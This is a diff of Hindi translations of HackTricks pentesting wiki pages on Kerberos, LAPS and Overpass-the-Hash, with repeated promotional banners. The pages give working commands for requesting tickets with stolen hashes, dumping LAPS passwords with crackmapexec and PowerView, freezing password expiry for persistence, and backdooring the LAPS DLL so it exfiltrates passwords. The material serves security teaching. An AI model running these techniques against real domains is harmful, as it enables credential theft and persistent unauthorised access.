Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
@ -122,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,15 +1,33 @@
# कर्बेरोस प्रमाणीकरण
# Kerberos Authentication
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
**देखें अद्भुत पोस्ट:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**यह अद्भुत पोस्ट देखें:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,29 +1,32 @@
# LAPS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मूल जानकारी
## Basic Information
लोकल व्यवस्थापक पासवर्ड समाधान (LAPS) एक उपकरण है जो एडमिनिस्ट्रेटर पासवर्ड को प्रबंधित करने के लिए उपयोग किया जाता है, जो **अद्वितीय, यादृच्छिक और नियमित रूप से बदलते** हैं, जो डोमेन-संयुक्त कंप्यूटरों पर लागू होते हैं। ये पासवर्ड सुरक्षित रूप से एक्टिव डायरेक्टरी में संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं तक ही पहुंचने के लिए उपयोगकर्ताओं को पहुंचाया गया है जिन्हें पहुंचने की अनुमति प्राप्त कराई गई है एक्सेस कंट्रोल सूची (ACLs) के माध्यम से। क्लाइंट से सर्वर तक पासवर्ड ट्रांसमिशन की सुरक्षा को **करोबेरोस संस्करण 5** और **एडवांस्ड एन्क्रिप्शन स्टैंडर्ड (AES)** के उपयोग से सुनिश्चित किया जाता है।
Local Administrator Password Solution (LAPS) एक उपकरण है जिसका उपयोग एक प्रणाली का प्रबंधन करने के लिए किया जाता है जहाँ **व्यवस्थापक पासवर्ड**, जो **विशिष्ट, यादृच्छिक, और अक्सर बदले जाते हैं**, डोमेन से जुड़े कंप्यूटरों पर लागू होते हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं के लिए उपलब्ध होते हैं जिन्हें एक्सेस कंट्रोल सूचियों (ACLs) के माध्यम से अनुमति दी गई है। क्लाइंट से सर्वर तक पासवर्ड ट्रांसमिशन की सुरक्षा **Kerberos संस्करण 5** और **Advanced Encryption Standard (AES)** के उपयोग द्वारा सुनिश्चित की जाती है।
एलेपीएस के कार्यान्वयन से डोमेन कंप्यूटर ऑब्जेक्ट्स में दो नए विशेषताएँ जोड़ी जाती हैं: **`ms-mcs-AdmPwd`** और **`ms-mcs-AdmPwdExpirationTime`**। ये विशेषताएँ **सादा-पाठ व्यवस्थापक पासवर्ड** और **इसकी समाप्ति समय** को संग्रहित करती हैं।
डोमेन के कंप्यूटर ऑब्जेक्ट्स में, LAPS का कार्यान्वयन दो नए गुणों की वृद्धि का परिणाम होता है: **`ms-mcs-AdmPwd`** और **`ms-mcs-AdmPwdExpirationTime`**। ये गुण **सादा-टेक्स्ट व्यवस्थापक पासवर्ड** और **इसके समाप्ति समय** को क्रमशः संग्रहीत करते हैं।
### जांचें कि क्या सक्रिय है
### Check if activated
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -38,9 +41,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS पासवर्ड एक्सेस
आप **`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`** से **रॉ LAPS नीति डाउनलोड** कर सकते हैं और फिर [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) पैकेज से **`Parse-PolFile`** का उपयोग इस फ़ाइल को मानव-पठनीय स्वरूप में परिवर्तित करने के लिए किया जा सकता है
आप **कच्ची LAPS नीति** को `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` से **डाउनलोड** कर सकते हैं और फिर **`Parse-PolFile`** का उपयोग [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) पैकेज से इस फ़ाइल को मानव-पठनीय प्रारूप में परिवर्तित करने के लिए कर सकते हैं
इसके अतिरिक्त, यदि वे किसी मशीन पर स्थापित हैं जिसका हमारे पास पहुंच है, तो **नेटिव LAPS PowerShell cmdlets** का उपयोग किया जा सकता है:
इसके अलावा, **स्थानीय LAPS PowerShell cmdlets** का उपयोग किया जा सकता है यदि वे उस मशीन पर स्थापित हैं जिस पर हमें पहुंच है:
```powershell
Get-Command *AdmPwd*
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** का उपयोग करके यह भी पता लगाया जा सकता है **कौन पासवर्ड को पढ़ सकता है और इसे पढ़ सकता है**:
**PowerView** का उपयोग यह पता लगाने के लिए भी किया जा सकता है कि **कौन पासवर्ड पढ़ सकता है और इसे पढ़ सकता है**:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -71,9 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) एलएपीएस की जांच को कई कार्यों के साथ सुविधाजनक बनाता है।
इनमें से एक है **`ExtendedRights`** क**समाचयन करना** **लैप्स सक्षम सभी कंप्यूटरों** के लिए। यह दिखाएगा **समूह** विशेष रूप से **लैप्स पासवर्ड पढ़ने के लिए सम्मन्वित**, जो अक्सर सुरक्षित समूहों में उपयोगकर्ता होते हैं।
एक **खाता**िसने एक कंप्यूटर को एक डोमेन से जोड़ दिया है, उस होस्ट पर `सभी विस्तारित अधिकार` प्राप्त करता है, और यह अधिकार **खाते** को **पासवर्ड पढ़ने** की क्षमता देता है। सूचीकरण एक उपयोगकर्ता खाता दिखा सकता है जो एक होस्ट पर लैप्स पासवर्ड पढ़ सकता है। यह हमें मदद कर सकता है **निश्चित एडी उपयोगकर्ताओं** को लैप्स पासवर्ड पढ़ने के लिए लक्षित करने में।
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS की गणना को कई कार्यों के साथ सरल बनाता है।\
एक है **`ExtendedRights`** क**LAPS सक्षम सभी कंप्यूटरों** के लिए पार्स करना। यह **समूहों** को दिखाएगा जो विशेष रूप से **LAPS पासवर्ड पढ़ने** के लिए **प्रतिनिधि** हैं, जो अक्सर संरक्षित समूहों में उपयोगकर्ता होते हैं।\
एक **खाता****कंप्यूटर** को एक डोमेन में शामिल करता है, उस होस्ट पर `All Extended Rights` प्राप्त करता है, और यह अधिकार **खाते** को **पासवर्ड पढ़ने** की क्षमता देता है। गणना एक उपयोगकर्ता खाते को दिखा सकती है जो एक होस्ट पर LAPS पासवर्ड पढ़ सकता है। यह हमें **विशिष्ट AD उपयोगकर्ताओं** को लक्षित करने में मदद कर सकता है जो LAPS पासवर्ड पढ़ सकते हैं।
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -97,16 +100,18 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexec के साथ LAPS पासवर्ड डंपिंग**
यदि powershell तक पहुंच नहीं है, तो आप LDAP के माध्यम से दूरस्थ रूप से इस विशेषाधिकार का दुरुपयोग कर सकते हैं।
## **Dumping LAPS Passwords With Crackmapexec**
यदि पावरशेल तक पहुँच नहीं है, तो आप LDAP के माध्यम से इस विशेषाधिकार का दूरस्थ रूप से दुरुपयोग कर सकते हैं।
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
## **LAPS Persistence**
यह सभी पासवर्डों को डंप करेगा जिन्हें उपयोगकर्ता पढ़ सकता है, जिससे आपको एक अलग उपयोगकर्ता के साथ बेहतर स्थिति प्राप्त करने की अनुमति मिलेगी।
## **LAPS स्थिरता**
### **समाप्ति तिथि**
एक बार एडमिन बनने के बाद, यह संभव है कि आप **पासवर्ड** प्राप्त कर सकें और एक मशीन को **पासवर्ड** अपडेट करने से **रोकने** के लिए **समाप्ति तिथि को भविष्य में** सेट करके रखें
एक बार व्यवस्थापक बनने के बाद, **पासवर्ड प्राप्त करना** और **पासवर्ड को अपडेट** करने से **रोकना** संभव है **समाप्ति तिथि को भविष्य में सेट करके**
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -116,14 +121,14 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
अगर **एडमिन** **`Reset-AdmPwdPassword`** cmdlet का उपयोग करता है; या अगर LAPS GPO में **जरूरी नीति से अधिक समय तक पासवर्ड समाप्ति की अनुमति नहीं है** तो पासवर्ड फिर से रीसेट हो जाएगा।
यदि कोई **admin** **`Reset-AdmPwdPassword`** cmdlet का उपयोग करता है; या यदि LAPS GPO में **नीति द्वारा आवश्यक से अधिक समय तक पासवर्ड समाप्ति की अनुमति न दें** सक्षम है, तो पासवर्ड अभी भी रीसेट हो जाएगा।
{% endhint %}
### बैकडोर
LAPS के मूल स्रोत कोड [यहाँ](https://github.com/GreyCorbel/admpwd) पाया जा सकता है, इसलिए कोड में एक बैकडोर डालना संभव है (उदाहरण के लिए `Main/AdmPwd.PS/Main.cs` में `Get-AdmPwdPassword` विधि के अंदर) जो किसी प्रकार से **नए पासवर्ड को बाहर ले जाए या कहीं स्टोर कर दे**।
LAPS का मूल स्रोत कोड [यहां](https://github.com/GreyCorbel/admpwd) पाया जा सकता है, इसलिए कोड में एक बैकडोर डालना संभव है (उदाहरण के लिए `Main/AdmPwd.PS/Main.cs` में `Get-AdmPwdPassword` विधि के अंदर) जो किसी न किसी तरह **नए पासवर्ड को एक्सफिल्ट्रेट या कहीं स्टोर करेगा**।
फिर, नया `AdmPwd.PS.dll` को कंपाइल करें और इसे मशीन में `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` में अपलोड करें (और संशोधन समय बदलें)।
फिर, बस नए `AdmPwd.PS.dll` को संकलित करें और इसे मशीन में `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` पर अपलोड करें (और संशोधन समय बदलें)।
## संदर्भ
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
@ -132,14 +137,17 @@ LAPS के मूल स्रोत कोड [यहाँ](https://github.co
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप PEASS के **नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें
* प्राप्त करें [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Over Pass the Hash/Pass the Key
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,28 +22,28 @@
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)** हमला उन वातावरणों के लिए डिज़ाइन किया गया है जहाँ पारंपरिक NTLM प्रोटोकॉल पर प्रतिबंध है, और Kerberos प्रमाणीकरण प्राथमिकता ेता है। यह हमला एक उपयोगकर्ता के NTLM हैश या AES कुंजियों का उपयोग करता है ताकि Kerberos टिकट प्राप्त किया जा सके, जिससे नेटवर्क के भीतर संसाधनों तक अनधिकृत पहुंच मिल सके
**Overpass The Hash/Pass The Key (PTK)** हमला उन वातावरणों के लिए डिज़ाइन किया गया है जहाँ पारंपरिक NTLM प्रोटोकॉल प्रतिबंधित है, और Kerberos प्रमाणीकरण प्राथमिकता ेता है। यह हमला एक उपयोगकर्ता के NTLM हैश या AES कुंजियों का उपयोग करके Kerberos टिकट प्राप्त करने के लिए किया जाता है, जिससे नेटवर्क के भीतर संसाधनों तक अनधिकृत पहुंच संभव होती है
इस हमला को क्रियान्वित करने के लिए, पहला कदम लक्षित उपयोगकर्ता के खाते का NTLM हैश या पासवर्ड प्राप्त करना है। इस जानकारी को सुरक्षित करने के बाद, खाते के लिए टिकट ग्रांटिंग टिकट (TGT) प्राप्त किया जा सकता है, जिससे हमलावता सेवाओं या मशीनों तक पहुंच मिल सकती है जिसकी अनुमति उपयोगकर्ता को है
इस हमले को अंजाम देने के लिए, प्रारंभिक कदम लक्षित उपयोगकर्ता के खाते का NTLM हैश या पासवर्ड प्राप्त करना है। इस जानकारी को सुरक्षित करने के बाद, खाते के लिए एक टिकट ग्रांटिंग टिकट (TGT) प्राप्त किया जा सकता है, जिससे हमलावर को उन सेवाओं या मशीनों तक पहुंच प्राप्त होती है जिनके लिए उपयोगकर्ता के पास अनुमतियाँ हैं
इस प्रक्रिया को निम्नलिखित कमांडों से प्रारंभ किया जा सकता है:
इस प्रक्रिया को निम्नलिखित कमांड के साथ शुरू किया जा सकता है:
```bash
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
उदाहरणों के लिए AES256 की आवश्यकता होने पर, `-aesKey [AES key]` विकल्प का उपयोग किया जा सकता है। इसके अतिरिक्त, प्राप्त टिकट का उपयोग कई उपकरणों के साथ किया जा सकता है, जैसे smbexec.py या wmiexec.py, हमले के दायरे को विस्तारित करते हुए
AES256 की आवश्यकता वाले परिदृश्यों के लिए, `-aesKey [AES key]` विकल्प का उपयोग किया जा सकता है। इसके अलावा, प्राप्त टिकट को विभिन्न उपकरणों के साथ उपयोग किया जा सकता है, जिसमें smbexec.py या wmiexec.py शामिल हैं, जिससे हमले के दायरे का विस्तार होता है
_पाया गया समस्याएं_ जैसे _PyAsn1Error_ या _KDC नाम नहीं मिला_ आम तौर पर Impacket पुस्तकालय को अपडेट करके या IP पते की बजाय होस्टनाम का उपयोग करके हल होती है, जिससे केरबेरोस KDC के साथ संगति सुनिश्चित हो
_ PyAsn1Error _ या _ KDC cannot find the name _ जैसी समस्याओं को आमतौर पर Impacket पुस्तकालय को अपडेट करके या IP पते के बजाय होस्टनाम का उपयोग करके हल किया जाता है, जिससे Kerberos KDC के साथ संगतता सुनिश्चित होती है
Rubeus.exe का उपयोग करके एक वैकल्पिक कमांड क्रम इस तकनीक के एक और पहलू को दर्शाता है:
Rubeus.exe का उपयोग करते हुए एक वैकल्पिक कमांड अनुक्रम इस तकनीक के एक और पहलू को प्रदर्शित करता है:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
यह विधि **पास द की** दृष्टिकोण को परामर्श और प्रमाणीकरण के उद्देश्यों के लिए सीधे टिकट का उपयोग करने पर ध्यान केंद्रित करती है। यह महत्वपूर्ण है कि एक टीजीटी अनुरोध की प्रारंभिकता घटक `4768: एक केरबेरोस प्रमाणीकरण टिकट (TGT) का अनुरोध किया गया था`, जिससे डिफ़ॉल्ट रूप से RC4-HMAC का उपयोग किया जाता है, हालांकि आधुनिक Windows सिस्टम AES256 को अधिक पसंद करते हैं।
यह विधि **Pass the Key** दृष्टिकोण को दर्शाती है, जिसमें प्रमाणीकरण उद्देश्यों के लिए टिकट को सीधे कमांड करने और उपयोग करने पर ध्यान केंद्रित किया गया है। यह ध्यान रखना महत्वपूर्ण है कि TGT अनुरोध की शुरुआत घटना `4768: A Kerberos authentication ticket (TGT) was requested` को ट्रिगर करती है, जो डिफ़ॉल्ट रूप से RC4-HMAC के उपयोग को दर्शाती है, हालांकि आधुनिक Windows सिस्टम AES256 को प्राथमिकता देते हैं।
संचालन सुरक्षा को अनुरूप बनाने और AES256 का उपयोग करने के लिए निम्नलिखित कमांड लागू किया जा सकता है:
संचालन सुरक्षा के अनुरूप रहने और AES256 का उपयोग करने के लिए, निम्नलिखित कमांड लागू किया जा सकता है:
```bash
